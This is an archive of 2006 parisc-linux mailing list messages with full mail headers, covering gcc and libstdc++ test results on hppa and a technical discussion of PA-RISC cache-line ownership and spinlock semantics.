Subject: [parisc-linux] Re: Added clobbers to unaligned.c and uaccess.h
Date: Tue, 25 Apr 2006 16:20:19 -0400 (EDT)
Lines: 25
Approved: news@gmane.org
Message-ID: <200604252020.k3PKKJe8008879@hiauly1.hia.nrc.ca>
References: <119aab440604251309i4186ac6cp25b40f7b2c9f7549@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624073 19430 80.91.229.3 (22 Nov 2014 02:41:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:13 +0000 (UTC)
Cc: soete.joel@tiscali.be,
 parisc-linux@lists.parisc-linux.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Apr 2006 20:20:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx078) with SMTP; 25 Apr 2006 22:20:48 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BD8817D71A;
	Tue, 25 Apr 2006 14:20:34 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03720-03; Tue, 25 Apr 2006 14:20:34 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 205DD7D6F4;
	Tue, 25 Apr 2006 14:20:33 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 758D97D6EB
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 25 Apr 2006 14:20:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03415-09 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 25 Apr 2006 14:20:26 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id F28547D6E4
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 25 Apr 2006 14:20:25 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6) with ESMTP id k3PKKKfq008881;
	Tue, 25 Apr 2006 16:20:20 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6/Submit) id k3PKKJe8008879;
	Tue, 25 Apr 2006 16:20:19 -0400 (EDT)
In-Reply-To: <119aab440604251309i4186ac6cp25b40f7b2c9f7549@mail.gmail.com>
	from "Carlos O'Donell" at Apr 25, 2006 04:09:34 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: lLF8fI09Pjlt6urBOTU2MTEzMTE2NYkb
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23634

> > Ok for me to focus on float pb: I just started some month ago and iirc
> > numerous pb are around nan (Not-a-Number) values. TBH, before reading that I
> > was ignoring all about this (eventhought I was good in numerical computing at
> > school, well 20 years ago, but not yet enough ;-) ). So I need first to
> > isolate faulty stuff then attempt to analyse the pb...
> 
> Perhaps ask Dave if he has some libstdc++ failures for you to look into?
> There are all sorts of interesting areas you can learn if you are interested.

libstdc++ is pretty much ok (1 FAIL on head at the moment).  The easiest
way to find problems that need work is to go to the bugzilla search page:
http://gcc.gnu.org/bugzilla/query.cgi

Do a search with "hppa" in the target box.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Does it lakes some cloberred r1 in
Date: Tue, 25 Apr 2006 17:42:52 -0400 (EDT)
Lines: 65
Approved: news@gmane.org
Message-ID: <200604252142.k3PLgrxB009232@hiauly1.hia.nrc.ca>
References: <200604251352.28932.mszick@morethan.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624073 19436 80.91.229.3 (22 Nov 2014 02:41:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: mszick@morethan.org (Michael S. Zick)
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Apr 2006 21:43:08 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx037) with SMTP; 25 Apr 2006 23:43:08 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 45E027D6D7;
	Tue, 25 Apr 2006 15:43:05 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03741-09; Tue, 25 Apr 2006 15:43:05 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C54277D6D9;
	Tue, 25 Apr 2006 15:43:03 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EE6BF7D6D6
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 25 Apr 2006 15:42:57 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03720-10 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 25 Apr 2006 15:42:57 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 985F57D6D5
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 25 Apr 2006 15:42:55 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6) with ESMTP id k3PLgrZE009234;
	Tue, 25 Apr 2006 17:42:54 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6/Submit) id k3PLgrxB009232;
	Tue, 25 Apr 2006 17:42:53 -0400 (EDT)
In-Reply-To: <200604251352.28932.mszick@morethan.org> from "Michael S. Zick"
	at Apr 25, 2006 01:52:28 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 1K94DZ4HQEVs4OjDZnVpSktKNzg2NYJQ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23635

> On Tue April 25 2006 10:17, Michael S. Zick wrote:
> > On Mon April 24 2006 10:35, John David Anglin wrote:
> > > > ldcw,co target_address
> > > > 
> > > > Where target_address includes the magic byte[0] of 
> > > > the cache line.
> > > 
> > > Where is this documented?
> > > 
> > Close, not quite there yet:
> > 
> > HP patent number: 4,713,755
> > 
> > The page to retrieve this by number:
> > http://patft1.uspto.gov/netahtml/PTO/srchnum.htm
> > 
> > Now it should be a 'simple' matter to just read
> > every patent that references this one.
> > 
> 
> One more conjecture confirmed,
> 
> The cache lines are a master/slave arrangement,
> only one processor (or device) can be the master
> (owner) of the cache line.
> 
> This is accomplished by keeping the cpu id (address)
> of the master in the virtual tag.
> 
> Ref: HP patent number: 5,197,146
> 
> That is how the logical 'makePrivate' of the formal
> memory model happens.

That's pretty much what I said this morning.

Correct me if I'm wrong but wouldn't an ldcw,co on a different
cpu cause a transfer of ownership?  However, it's not clear to
me that a cpu that doesn't own the line can unlock the semaphore
owned by a different cpu.  As far as I can tell, the only
instructions that appear to perform a coherent store are ldcw,co
and ldcd,co, and these can't do an unlock.  Hmmm, maybe doing a
flush and sync (see G-3 and G-4) before the store would do the trick.

> Translation:
> 
> Thou shall not allow load balancing to migrate a
> task that holds a spinlock - you leave the master
> of that cache line on the prior processor.

Page G-3 says that a SYNC is necessary when switching tasks.  Possibly,
this together with the flush allows spinlocks in user code.

I see the PA-8200 has a CINCD instruction (coherent 64-bit increment).

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Added clobbers to unaligned.c and uaccess.h
Date: Wed, 26 Apr 2006 08:33:48 +0200
Lines: 153
Approved: news@gmane.org
Message-ID: <IYBGWC$539A4DB29982C0998C1F16B221A06BBF@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624074 19443 80.91.229.3 (22 Nov 2014 02:41:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:14 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>,
 tsg45800 <tsg45800@scarlet.be>
To: "dave" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Apr 2006 06:34:08 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx090) with SMTP; 26 Apr 2006 08:34:08 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 67DC67D6E0;
	Wed, 26 Apr 2006 00:34:03 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07518-04; Wed, 26 Apr 2006 00:34:03 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 099777D6E1;
	Wed, 26 Apr 2006 00:34:02 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 833477D6DF
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 26 Apr 2006 00:33:57 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07518-01 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 26 Apr 2006 00:33:56 -0600 (MDT)
Original-Received: from guri.is.scarlet.be (guri.is.scarlet.be [193.74.71.22])
	by free.linux.hp.com (Postfix) with ESMTP id 3758A7D6D9
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 26 Apr 2006 00:33:56 -0600 (MDT)
Original-Received: from (fuji.is.scarlet.be [193.74.71.41]) 
	by guri.is.scarlet.be  with ESMTP id k3Q6XmB11627; 
	Wed, 26 Apr 2006 08:33:48 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: UiN9deBoIyd18PqQe2draGxaa2FkZhWC
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23636

> > > Ok for me to focus on float pb: I just started some month ago and i=
irc
> > > numerous pb are around nan (Not-a-Number) values. TBH, before readi=
ng that I
> > > was ignoring all about this (eventhought I was good in numerical
computing at
> > > school, well 20 years ago, but not yet enough ;-) ). So I need firs=
t to
> > > isolate faulty stuff then attempt to analyse the pb...
> > 
> > Perhaps ask Dave if he has some libstdc++ failures for you to look in=
to?
> > There are all sorts of interesting areas you can learn if you are int=
erested.
> 
> libstdc++ is pretty much ok (1 FAIL on head at the moment).

Well all test are not yet finished but the one you are interested in yes.=

Here are summaries:

Test Run By root on Wed Apr 26 01:16:36 2006
Native configuration is hppa-unknown-linux-gnu

                =3D=3D=3D gfortran tests =3D=3D=3D

Schedule of variations:
    unix

Running target unix
Using /usr/share/dejagnu/baseboards/unix.exp as board description file fo=
r target.
Using /usr/share/dejagnu/config/unix.exp as generic interface file for ta=
rget.
Using
/CAD/parisc-linux/Dpkg/dpkg-work/gcc-snapshot-20060425/src/gcc/testsuite/=
config/default.exp
as tool-and-target-specific interf
ace file.
Running
/CAD/parisc-linux/Dpkg/dpkg-work/gcc-snapshot-20060425/src/gcc/testsuite/=
gfortran.dg/dg.exp
...
FAIL: gfortran.dg/enum_2.f90  -O   (test for errors, line 9)
FAIL: gfortran.dg/enum_2.f90  -O  (test for excess errors)
Running
/CAD/parisc-linux/Dpkg/dpkg-work/gcc-snapshot-20060425/src/gcc/testsuite/=
gfortran.dg/gomp/gomp.exp
...
Running
/CAD/parisc-linux/Dpkg/dpkg-work/gcc-snapshot-20060425/src/gcc/testsuite/=
gfortran.dg/vect/vect.exp
...
Running
/CAD/parisc-linux/Dpkg/dpkg-work/gcc-snapshot-20060425/src/gcc/testsuite/=
gfortran.fortran-torture/compile/compile.exp
...
Running
/CAD/parisc-linux/Dpkg/dpkg-work/gcc-snapshot-20060425/src/gcc/testsuite/=
gfortran.fortran-torture/execute/execute.exp
...

                =3D=3D=3D gfortran Summary =3D=3D=3D

# of expected passes            12718
# of unexpected failures        2
# of expected failures          14
# of unsupported tests          96
/CAD/parisc-linux/Dpkg/dpkg-work/gcc-snapshot-20060425/build/gcc/testsuit=
e/gfortran/../../gfortran
 version 4.2.0 20060425 (experime
ntal)

Personal comment: seems far better then 20060419 buildd?

[snip]
Test Run By root on Wed Apr 26 02:56:44 2006
Native configuration is hppa-unknown-linux-gnu

                =3D=3D=3D libstdc++ tests =3D=3D=3D

Schedule of variations:
    unix

Running target unix
Using /usr/share/dejagnu/baseboards/unix.exp as board description file fo=
r target.
Using /usr/share/dejagnu/config/unix.exp as generic interface file for ta=
rget.
Using
/CAD/parisc-linux/Dpkg/dpkg-work/gcc-snapshot-20060425/src/libstdc++-v3/t=
estsuite/config/default.exp
as tool-and-target-specif
ic interface file.
Running
/CAD/parisc-linux/Dpkg/dpkg-work/gcc-snapshot-20060425/src/libstdc++-v3/t=
estsuite/libstdc++-abi/abi.exp
...
Running
/CAD/parisc-linux/Dpkg/dpkg-work/gcc-snapshot-20060425/src/libstdc++-v3/t=
estsuite/libstdc++-dg/conformance.exp
...
FAIL: 25_algorithms/prev_permutation/1.cc execution test
XPASS: 26_numerics/cmath/c99_classification_macros_c.cc (test for excess =
errors)

                =3D=3D=3D libstdc++ Summary =3D=3D=3D

# of expected passes            3540
# of unexpected failures        1
# of unexpected successes       1
# of expected failures          12
# of unsupported tests          315


Personal comment: same as 20060419 buildd ;-)


>  The easiest
> way to find problems that need work is to go to the bugzilla search pag=
e:
> http://gcc.gnu.org/bugzilla/query.cgi
> 
> Do a search with "hppa" in the target box.
> 
Ok I will check ;-)

Btw: I also check the kernel build (latest 2.6.17-rc2-pa4) with this gcc-=
4.1:
32bit up for D380 build without pb, boot and seems to works fine ;-)

Hth,
    Joel

PS: those build tests were done on a _chroot disk_ on which was installed=

previously mentinoned glibc6 (2.3.6-7 + clone patch) build itself with gc=
c-4.1
(dpkg 4.1.0-1)
(just mentioned this because I noticed some small diff in glibc test resu=
lts
when there were made on a chroot disk?)=0A=0A----------=0AWordt ook lid v=
an de Scarlet Club via een bestaande Scarlet klant en ontvang cadeauchequ=
es twv EUR 50! Bezoek snel http://www.scarletclub.be=0ADevenez aussi memb=
re du Club Scarlet via un client Scarlet existant et recevez des cheques =
cadeaux jusqu'a EUR 50! Surfez vite sur http://www.clubscarlet.be

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Added clobbers to unaligned.c and uaccess.h
Date: Wed, 26 Apr 2006 12:12:00 -0400 (EDT)
Lines: 27
Approved: news@gmane.org
Message-ID: <200604261612.k3QGC06P015157@hiauly1.hia.nrc.ca>
References: <IYBGWC$539A4DB29982C0998C1F16B221A06BBF@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624074 19450 80.91.229.3 (22 Nov 2014 02:41:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:14 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 tsg45800@scarlet.be
To: soete.joel@tiscali.be (Joel Soete)
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Apr 2006 16:19:00 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx088) with SMTP; 26 Apr 2006 18:19:00 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 312B67D6E1;
	Wed, 26 Apr 2006 10:18:56 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12577-02; Wed, 26 Apr 2006 10:18:56 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6E3E67D6DE;
	Wed, 26 Apr 2006 10:18:54 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 353FD7D6DC
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 26 Apr 2006 10:18:51 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11857-09 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 26 Apr 2006 10:18:50 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 6E7DB7D6D9
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 26 Apr 2006 10:18:46 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6) with ESMTP id k3QGC2LT015159;
	Wed, 26 Apr 2006 12:12:02 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6/Submit) id k3QGC06P015157;
	Wed, 26 Apr 2006 12:12:00 -0400 (EDT)
In-Reply-To: <IYBGWC$539A4DB29982C0998C1F16B221A06BBF@scarlet.be> from "Joel
	Soete" at Apr 26, 2006 08:33:48 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Ra9pbCuoLi5n8ffRZWtpZGZjZml1ZBg2
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23637

>                 === gfortran Summary ===
> 
> # of expected passes            12718
> # of unexpected failures        2
> # of expected failures          14
> # of unsupported tests          96
> # of expected failures          12
> # of unsupported tests          315

Excellent.  All the complex fails are fixed.  I'll do a PR on the
two enum fails.

It would be great if you could generate a test summary with
contrib/test_summary and use the generated script to mail the
results to gcc-testresults@gcc.gnu.org.

Thanks,
Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@morethan.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Does it lakes some cloberred r1 in
Date: Wed, 26 Apr 2006 11:42:22 -0500
Lines: 152
Approved: news@gmane.org
Message-ID: <200604261142.22548.mszick@morethan.org>
References: <200604241650.k3OGon5N027856@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624074 19455 80.91.229.3 (22 Nov 2014 02:41:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:14 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Apr 2006 16:42:40 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx074) with SMTP; 26 Apr 2006 18:42:40 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 02C3F7D6F5;
	Wed, 26 Apr 2006 10:42:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12597-08; Wed, 26 Apr 2006 10:42:36 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 80DD67D6F0;
	Wed, 26 Apr 2006 10:42:35 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 79C047D6EE
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 26 Apr 2006 10:42:32 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
